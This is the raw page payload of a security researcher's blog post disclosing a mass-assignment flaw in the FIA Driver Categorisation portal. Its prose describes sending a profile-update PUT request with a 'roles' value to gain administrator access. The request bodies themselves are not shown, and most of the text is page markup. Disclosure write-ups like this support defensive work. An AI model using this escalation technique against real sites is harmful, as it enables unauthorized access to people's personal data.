t/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"PageRoot\"]\n4d:I[10042,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"PageDetails\"]\n2e:[\"$\",\"main\",null,{\"id\":\"page-fia\",\"className\":\"super-content page__fia parent-page__index\",\"children\":[[\"$\",\"$L30\",null,{\"url\":\"https://ian.sh/fia\",\"title\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\",\"description\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\",\"root\":{\"id\":\"eb5f7782eeca437f927323f450f8f3dc\",\"uri\":\"/\",\"title\":\"ian carroll\",\"icon\":null},\"image\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"canonical\":null,\"author\":null,\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"breadcrumbs\":[{\"id\":\"fia\",\"uri\":\"/fia\",\"title\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\",\"icon\":null}],\"siteId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e\",\"userId\":\"cb4e83cb-fe5e-4a17-9055-d11287041f68\",\"domainName\":\"ian.sh\",\"name\":\"Ian Carroll\",\"active\":true,\"free\":false,\"tier\":\"pro\",\"fontFamily\":\"Inter\",\"legacyTheme\":\"default\",\"language\":\"en\",\"languages\":\"$5:props:settings:languages\",\"notionPage\":\"eb5f7782eeca437f927323f450f8f3dc\",\"indexPageId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::341116e4-b5b8-4753-89cb-a0ddbee82773\",\"pageProperties\":false,\"hidePageProperties\":true,\"disablePageProperties\":false,\"pageSyncing\":true,\"viewSwitcher\":true,\"layoutSidePanel\":true,\"floatingTableOfContents\":false,\"siteSearch\":false,\"advancedSearch\":true,\"themeToggle\":false,\"mondayFirst\":false,\"loadLimits\":false,\"hidePersonInfo\":false,\"showPropertyIcons\":false,\"filterRedirectsFromSearch\":false,\"redirectSubdomain\":null,\"noIndex\":false,\"viewsExceeded\":false,\"manualSync\":false,\"syncStatus\":\"unsynced\",\"publishedAt\":\"2026-07-01T11:29:18.496Z\",\"custom404Enabled\":false,\"membershipEnabled\":false,\"membershipConfigured\":false,\"suppressLoginEmail\":false,\"indexMembershipTierIds\":null,\"navbar\":null,\"footer\":null,\"sidebar\":null,\"theme\":null,\"code\":\"$5:props:settings:code\",\"files\":\"$5:props:settings:files\",\"hasPassword\":false,\"hasFeed\":false,\"membershipTierIds\":null}],null,null,[\"$\",\"div\",null,{\"className\":\"notion-header page\",\"children\":[[\"$\",\"div\",null,{\"className\":\"notion-header__cover has-cover no-icon\",\"children\":[\"$\",\"$L31\",\"cover-fia\",{\"className\":\"notion-header__cover-image\",\"style\":{\"userSelect\":\"none\"},\"src\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u
8720026crop=entropy\u0026cs=srgb\",\"alt\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\",\"priority\":true,\"fill\":true,\"objectFit\":\"cover\",\"objectPosition\":\"center 50%\"}]}],[\"$\",\"div\",null,{\"className\":\"notion-header__content max-width has-cover no-icon\",\"children\":[[\"$\",\"div\",null,{\"className\":\"notion-header__title-wrapper\",\"children\":[null,[\"$\",\"h1\",null,{\"className\":\"notion-header__title\",\"children\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}]]}],null]}]]}],[[\"$\",\"$L32\",\"fia\",{\"id\":\"fia\",\"children\":[[\"$\",\"$1\",\"2843b9a56b2b80979101f9b033ee868e,2843b9a56b2b80979101f9b033ee868e\",{\"children\":[[\"$\",\"span\",null,{\"className\":\"notion-heading__anchor\",\"id\":\"2843b9a56b2b80979101f9b033ee868e\"}],[\"$\",\"h2\",null,{\"id\":\"block-2843b9a56b2b80979101f9b033ee868e\",\"className\":\"notion-heading notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Introduction\",{\"children\":\"Introduction\"}]],\"$undefined\"]}]]}],[\"$\",\"p\",\"2843b9a56b2b8097bc26ca6042b21f8e,2843b9a56b2b8097bc26ca6042b21f8e\",{\"id\":\"block-2843b9a56b2b8097bc26ca6042b21f8e\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.\",{\"children\":\"With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.\"}]],\"$undefined\"]}],\"$L33\",\"$L34\",\"$L35\",\"$L36\",\"$L37\",\"$L38\",\"$L39\",\"$L3a\",\"$L3b\",\"$L3c\",\"$L3d\",\"$L3e\",\"$L3f\",\"$L40\",\"$L41\",\"$L42\",\"$L43\",\"$L44\",\"$L45\",\"$L46\",\"$L47\",\"$L48\",\"$L49\",\"$L4a\",\"$L4b\",\"$L4c\"],\"hasContent\":true,\"parentId\":\"0f34388b710345ddb010281f11fd0528\",\"title\":\"$5:props:records:block:fia:title\",\"updatedAt\":1761257342350,\"type\":\"page\",\"spaceId\":\"5cd0a822-39d2-4a8a-977e-cf7f08be1560\",\"coverPosition\":0.5,\"createdTime\":1759761804322,\"lastEditedTime\":1761257342350,\"createdBy\":\"$5:props:records:block:fia:createdBy\",\"lastEditedBy\":\"$5:props:records:block:fia:lastEditedBy\",\"uri\":\"/fia\",\"fullWidth\":false,\"smallText\":false,\"cover\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"noCover\":false,\"superProperties\":\"$5:props:records:block:fia:superProperties\",\"propertyValues\":\"$5:props:records:block:fia:propertyValues\",\"blockId\":\"2843b9a5-6b2b-8086-b7b7-ead74c325770\",\"isRoot\":true,\"ctx\":{\"head\":{\"url\":\"https://ian.sh/fia\",\"title\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\",\"description\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\",\"root\":\"$2e:props:children:0:props:root\",\"image\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"canonical\":null,\"author\":null,\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"breadcrumbs\":\"$2e:props:children:0:props:breadcrumbs\"},\"settings\":{\"siteId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e\",\"userId\":\"cb4e83cb-fe5e-4a17-9055-d11287041f68\",\"domainName\":\"ian.sh\",\"name\":\"Ian Carroll\",\"active\":true,\"free\":false,\"t
872ier\":\"pro\",\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"fontFamily\":\"Inter\",\"legacyTheme\":\"default\",\"language\":\"en\",\"languages\":\"$5:props:settings:languages\",\"notionPage\":\"eb5f7782eeca437f927323f450f8f3dc\",\"indexPageId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::341116e4-b5b8-4753-89cb-a0ddbee82773\",\"pageProperties\":false,\"hidePageProperties\":true,\"disablePageProperties\":false,\"pageSyncing\":true,\"viewSwitcher\":true,\"layoutSidePanel\":true,\"floatingTableOfContents\":false,\"siteSearch\":false,\"advancedSearch\":true,\"themeToggle\":false,\"mondayFirst\":false,\"loadLimits\":false,\"hidePersonInfo\":false,\"showPropertyIcons\":false,\"filterRedirectsFromSearch\":false,\"redirectSubdomain\":null,\"noIndex\":false,\"viewsExceeded\":false,\"manualSync\":false,\"syncStatus\":\"unsynced\",\"publishedAt\":\"2026-07-01T11:29:18.496Z\",\"custom404Enabled\":false,\"membershipEnabled\":false,\"membershipConfigured\":false,\"suppressLoginEmail\":false,\"indexMembershipTierIds\":null,\"navbar\":null,\"footer\":null,\"sidebar\":null,\"theme\":{\"layout\":{\"paddingLayout\":0.6,\"layoutMaxWidth\":900,\"columnSpacing\":46,\"borderThicknessLayout\":1,\"borderTypeLayout\":\"solid\",\"borderRadiiLayout\":5,\"pageDisplay\":\"flex\"},\"header\":{\"coverHeight\":30,\"titleAlign\":\"left\",\"iconAlign\":\"-112px auto auto auto\",\"display\":\"block\"},\"collectionCard\":{\"gap\":10,\"shadow\":\"rgba(15, 15, 15, 0.1) 0px 0px 0px 1px, rgba(15, 15, 15, 0.1) 0px 2px 4px\",\"coverHeightLarge\":200,\"coverHeightMedium\":200,\"coverHeightSmall\":128,\"titleSize\":0.875,\"coverSizeSmall\":172,\"coverSizeMedium\":260,\"coverSizeLarge\":320,\"iconDisplay\":\"inline-flex\"},\"callout\":{\"iconDisplay\":\"block\",\"shadow\":\"none\"},\"typography\":{\"primaryFont\":\"Inter\",\"secondaryFont\":\"Inter\",\"fonts\":[],\"baseSize\":16,\"titleSize\":2.5,\"quoteSize\":1.2,\"quoteSizeLarge\":1.4,\"headingSize\":1,\"textWeight\":\"normal\",\"headingWeight\":\"600\"},\"scrollbar\":{\"width\":15},\"navbar\":{\"height\":56,\"shadow\":\"rgba(0, 0, 0, 0.12) 0px 10px 20px -6px\"},\"sidebar\":{\"width\":280,\"shadow\":\"rgba(0, 0, 0, 0.12) 0px 10px 20px -6px\"},\"colors\":{\"light\":{\"text\":\"#37352F\",\"textLight\":\"#7d7c78\",\"background\":\"#ffffff\",\"borderColor\":\"#E9E9E7\",\"checkboxBackground\":\"#2EAADC\",\"hoverBackground\":\"#efefef\",\"scrollbar\":{\"background\":\"#FAFAFA\",\"handle\":\"#C1C1C1\",\"border\":\"#E8E8E8\"},\"navbar\":{\"background\":\"#ffffff\",\"buttonBackground\":\"#37352F\",\"buttonText\":\"#ffffff\",\"text\":\"#37352F\"},\"footer\":{\"background\":\"#ffffff\",\"buttonBackground\":\"#37352F\",\"buttonText\":\"#ffffff\",\"text\":\"#37352F\"},\"sidebar\":{\"background\":\"#ffffff\",\"hoverBackground\":\"#efefef\",\"ctaBackground\":\"#ffffff\",\"ctaText\":\"#37352F\",\"text\":\"#37352F\",\"border\":\"#E9E9E7\"},\"database\":{\"cardBackground\":\"#ffffff\",\"cardHoverBackground\":\"#f9f9f8\",\"calendarWeekendBackground\":\"#f7f6f3\"},\"form\":{\"submitButton\":{\"default\":\"#55534E\",\"gray\":\"#A7A39A\",\"brown\":\"#9A6851\",\"orange\":\"#D9730D\",\"yellow\":\"#CA922F\",\"green\":\"#448361\",\"blue\":\"#327DA9\",\"purple\":\"#8F64AF\",\"pink\":\"#C24C8B\",\"red\":\"#D44E49\"}},\"default\":[45,8,20],\"gray\":[45,2,46],\"brown\":[19,31,47],\"orange\":[30,87,45],\"yellow\":[38,62,49],\"green\":[149,31,39],\"blue\":[202,53,43],\"purple\":[274,32,54],\"pink\":[328,48,53],\"red\":[2,62,55]},\"dark\":{\"text\":\"#e1e1e1\",\"textLight\":\"#9b9b9b\",\"background\":\"#191919\",\"borderColor\":\"#373737\",\"checkboxBackground\":\"#2EAADC\",\"hoverBackground\":\"#292929\",\"scrollbar\":{\"background\":\"#FAFAFA\",\"handle\":\"#C1C1C1\",\"border\":\"#E8E8E8\"},\"navbar\":{\"background\":\"#191919\",\"buttonBackground\":\"#e1e1e1\",\"buttonText\":\"#191919\",\"text\":\"#e1e1e1\"},\"footer\":{\"background\":\"#191919\",\"buttonBackground\":\"#e1e1e1\",\"buttonText\":\"#191919\",\"text\":\"#e1e1e1\"},\"sidebar\":{\"background\":\"#191919\",\"hoverBackground\":\"#292929\",\"ctaBackgroun
872d\":\"#191919\",\"ctaText\":\"#e1e1e1\",\"text\":\"#e1e1e1\",\"border\":\"#373737\"},\"database\":{\"cardBackground\":\"#212121\",\"cardHoverBackground\":\"#292929\",\"calendarWeekendBackground\":\"#202020\"},\"form\":{\"submitButton\":{\"default\":\"#55534E\",\"gray\":\"#A7A39A\",\"brown\":\"#9A6851\",\"orange\":\"#D9730D\",\"yellow\":\"#CA922F\",\"green\":\"#448361\",\"blue\":\"#327DA9\",\"purple\":\"#8F64AF\",\"pink\":\"#C24C8B\",\"red\":\"#D44E49\"}},\"default\":[45,8,20],\"gray\":[0,0,61],\"brown\":[18,35,58],\"orange\":[25,54,53],\"yellow\":[38,54,54],\"green\":[146,32,47],\"blue\":[217,50,58],\"purple\":[270,55,62],\"pink\":[329,57,58],\"red\":[1,69,60]}}},\"code\":\"$5:props:settings:code\",\"files\":\"$5:props:settings:files\",\"hasPassword\":false,\"hasFeed\":false,\"membershipTierIds\":null},\"records\":\"$5:props:records\",\"pageId\":\"fia\"}}]]]}]\n2f:[\"$\",\"$L4d\",null,{\"id\":\"fia\",\"children\":\"$5:props:records:block:fia:children\",\"hasContent\":true,\"parentId\":\"0f34388b710345ddb010281f11fd0528\",\"title\":\"$5:props:records:block:fia:title\",\"updatedAt\":1761257342350,\"type\":\"page\",\"spaceId\":\"5cd0a822-39d2-4a8a-977e-cf7f08be1560\",\"coverPosition\":0.5,\"createdTime\":1759761804322,\"lastEditedTime\":1761257342350,\"createdBy\":\"$5:props:records:block:fia:createdBy\",\"lastEditedBy\":\"$5:props:records:block:fia:lastEditedBy\",\"uri\":\"/fia\",\"fullWidth\":false,\"smallText\":false,\"cover\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"noCover\":false,\"superProperties\":\"$5:props:records:block:fia:superProperties\",\"propertyValues\":\"$5:props:records:block:fia:propertyValues\",\"blockId\":\"2843b9a5-6b2b-8086-b7b7-ead74c325770\",\"ctx\":\"$2e:props:children:4:0:props:ctx\"}]\n"])</script>
872<script>self.__next_f.push([1,"4e:I[537826,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"Link\"]\n4f:I[50300,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"Code\"]\n33:[\"$\",\"p\",\"2843b9a56b2b805eabf5f59ca0a8f535,2843b9a56b2b805eabf5f59ca0a8f535\",{\"id\":\"block-2843b9a56b2b805eabf5f59ca0a8f535\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, \",{\"children\":\"Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, \"}],[\"$\",\"$L4e\",\"https://x.com/galnagli\",{\"className\":\"link\",\"uri\":\"https://x.com/galnagli\",\"serverHref\":\"https://x.com/galnagli\",\"children\":[\"$\",\"$1\",\"1-Gal Nagli\",{\"children\":\"Gal Nagli\"}]}],[\"$\",\"$1\",\"2-, \",{\"children\":\", \"}],[\"$\",\"$L4e\",\"https://x.com/samwcyo\",{\"className\":\"link\",\"uri\":\"https://x.com/samwcyo\",\"serverHref\":\"https://x.com/samwcyo\",\"children\":[\"$\",\"$1\",\"3-Sam Curry\",{\"children\":\"Sam Curry\"}]}],[\"$\",\"$1\",\"4-, and \",{\"children\":\", and \"}],[\"$\",\"$L4e\",\"https://x.com/iangcarroll\",{\"className\":\"link\",\"uri\":\"https://x.com/iangcarroll\",\"serverHref\":\"https://x.com/iangcarroll\",\"children\":[\"$\",\"$1\",\"5-I\",{\"children\":\"I\"}]}],[\"$\",\"$1\",\"6- thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.\",{\"children\":\" thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.\"}]],\"$undefined\"]}]\n34:[\"$\",\"p\",\"2843b9a56b2b80e9946ad5373696cf37,2843b9a56b2b80e9946ad5373696cf37\",{\"id\":\"block-2843b9a56b2b80e9946ad5373696cf37\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"em\",\"0-i\",{\"children\":[\"$\",\"$1\",\"0-This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.\",{\"children\":\"This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.\"}]}]],\"$undefined\"]}]\n35:[\"$\",\"$1\",\"2843b9a56b2b80d68646e104a77c5b59,2843b9a56b2b80d68646e104a77c5b59\",{\"children\":[[\"$\",\"span\",null,{\"className\":\"notion-heading__anchor\",\"id\":\"2843b9a56b2b80d68646e104a77c5b59\"}],[\"$\",\"h2\",null,{\"id\":\"block-2843b9a56b2b80d68646e104a77c5b59\",\"className\":\"notion-heading notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Finding F1 Driver Licenses\",{\"children\":\"Finding F1 Driver Licenses\"}]],\"$undefined\"]}]]}]\n36:[\"$\",\"p\",\"2853b9a56b2b80e980c8f60607a86708,2853b9a56b2b80e980c8f60607a86708\",{\"id\":\"block-2853b9a56b2b80e980c8f60607a86708\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-To race in Formula 1, drivers hold an \",{\"children\":\"To race in Formula 1, drivers hold an \"}],[\"$\",\"strong\",\"0-b\",{\"children\":[\"$\",\"$1\",\"1-FIA Super Licence\",{\"children\":\"FIA Super Licence\"}]}],[\"$\",\"$1\",\"2-. Itâs issued annually through a driverâs national motorsport authority (ASN) once theyâve met the FIAâs requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.\",{\"children\":\". Itâs issued annually through a driverâs national motorsport authority (ASN) once theyâve met the FIAâs requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.\"}]],\"$undefined\"]}]\n37:[\"$\",\"p\",\"2853b9a56b2b80cebbb9da00c1df0b23,2853b9a56b2b80cebbb9da00c1df0b23\",{\"id\":\"block-2853b9a56b2b80cebbb9da00c1df0b23\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-F1 drivers often compete outside Grands Prix as well, where the FIA uses a \",{\"children\":\"F1 drivers often compete outside Grands Prix as well, where the FIA uses a \"}],[\"$\",\"strong\",\"0-b\",{\"children\":[\"$\",\"$1\",\"1-Driver Categorisation\",{\"children\":\"Driver Categorisation\"}]}],[\"$\",\"$1\",\"2- (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at \",{\"children\":\" (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at \"}],[\"$\",\"strong\",\"0-b\",{\"children\":[\"$\",\"$1\",\"3-drivercategorisation.fia.com\",{\"children\":\"drivercategorisation.fia.com\"}]}],[\"$\",\"$1\",\"4-, which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.\",{\"children\":\", which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.\"}]],\"$undefined\"]}]\n38:[\"$\",\"div\",\"2843b9a56b2b805ab50cdacf67253c2b,2843b9a56b2b805ab50cdacf67253c2b\",{\"id\":\"block-2843b9a56b2b805ab50cdacf67253c2b\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"alt\":\"The public login page for the Driver Categorisation portal..\",\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public\",\"width\":1000,\"height\"
872:1000,\"style\":{\"height\":\"auto\"},\"priority\":\"$undefined\",\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public\"}],\"\"]}]\n39:[\"$\",\"p\",\"2843b9a56b2b80ad80a9fcc06676ce2a,2843b9a56b2b80ad80a9fcc06676ce2a\",{\"id\":\"block-2843b9a56b2b80ad80a9fcc06676ce2a\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:\",{\"children\":\"After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:\"}]],\"$undefined\"]}]\n3a:[\"$\",\"$L4f\",\"2843b9a56b2b800d9d02c26034778a4e,2843b9a56b2b800d9d02c26034778a4e\",{\"id\":\"2843b9a56b2b800d9d02c26034778a4e\",\"children\":null,\"hasContent\":false,\"parentId\":\"fia\",\"title\":\"$5:props:records:block:2843b9a56b2b800d9d02c26034778a4e:title\",\"updatedAt\":1759813744732,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null}]\n3b:[\"$\",\"p\",\"2843b9a56b2b80f3a8fed3a5f1de5edc,2843b9a56b2b80f3a8fed3a5f1de5edc\",{\"id\":\"block-2843b9a56b2b80f3a8fed3a5f1de5edc\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:\",{\"children\":\"The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:\"}]],\"$undefined\"]}]\n3c:[\"$\",\"$L4f\",\"2843b9a56b2b8092b49bf4490c4e025c,2843b9a56b2b8092b49bf4490c4e025c\",{\"id\":\"2843b9a56b2b8092b49bf4490c4e025c\",\"children\":null,\"hasContent\":false,\"parentId\":\"fia\",\"title\":\"$5:props:records:block:2843b9a56b2b8092b49bf4490c4e025c:title\",\"updatedAt\":1761154796473,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null}]\n3d:[\"$\",\"p\",\"2843b9a56b2b806fa8b9c037bc6d871e,2843b9a56b2b806fa8b9c037bc6d871e\",{\"id\":\"block-2843b9a56b2b806fa8b9c037bc6d871e\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-The JSON HTTP response for updating our own profile contained the \\\"roles\\\" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.\",{\"children\":\"The JSON HTTP response for updating our own profile contained the \\\"roles\\\" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.\"}]],\"$undefined\"]}]\n3e:[\"$\",\"div\",\"2843b9a56b2b80fbbb97f879ca7e4cda,2843b9a56b2b80fbbb97f879ca7e4cda\",{\"id\":\"block-2843b9a56b2b80fbbb97f879ca7e4cda\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"alt\":\"JavaScript from the FIA Driver Categorisation portal.\",\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public\",\"width\":1000,\"height\":1000,\"style\":{\"height\":\"auto\"},\"priority\":\"$undefined\",\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public\"}],\"\"]}]\n3f:[\"$\",\"p\",\"2843b9a56b2b8076b206eecaa9e88245,2843b9a56b2b8076b206eecaa9e88245\",{\"id\":\"block-2843b9a56b2b8076b206eecaa9e88245\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:\",{\"children\":\"Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:\"}]],\"$undefined\"]}]\n40:[\"$\",\"$L4f\",\"2843b9a56b2b80659cddc18d808ccd83,2843b9a56b2b80659cddc18d808ccd83\",{\"id\":\"2843b9a56b2b80659cddc18d808ccd83\",\"children\":null,\"hasContent\":false,\"parentId\":\"fia\",\"title\":\"$5:props:records:block:2843b9a56b2b80659cddc18d808ccd83:title\",\"updatedAt\":1759813762008,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null}]\n41:[\"$\",\"p\",\"2843b9a56b2b80d8afa4f739a308aefe,2843b9a56b2b80d8afa4f739a308aefe\",{\"id\":\"block-2843b9a56b2b80d8afa4f739a308aefe\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.\",{\"children\":\"Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.\"}]],\"$undefined\"]}]\n42:[\"$\",\"$L4f\",\"2843b9a56b2b8021ba9edadcbe414786,2843b9a56b2b8021ba9edadcbe414786\",{\"id\":\"2843b9a56b2b8021ba9edadcbe414786\",\"children\":null,\"hasContent\":false,\"parentId\":\"fia\",\"title\":\"$5:props:records:block:2843b9a56b2b8021ba9edadcbe414786:title\",\"updatedAt\":1759813765251,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null}]\n43:[\"$\",\"p\",\"2843b9a56b2b80128aa5e4634df8e8e3,2843b9a56b2b80128aa5e4634df8e8e3\",{\"id\":\"block-2843b9a56b2b80128aa5e4634df8e8e3\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.\",{\"children\":\"We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.\"}]],\"$undefined\"]}]\n44:[\"$\",\"div\",\"2843b9a56b2b809b971ed611ad91ac3b,2843b9a56b2b809b971ed611ad91ac3b\",{\"id\":\"block-2843b9a56b2b809b971ed611ad91ac3b\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"alt\":\"Accessing the driver categorisation portal as an administrator.\",\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public\",\"width\":1000,\"height\"
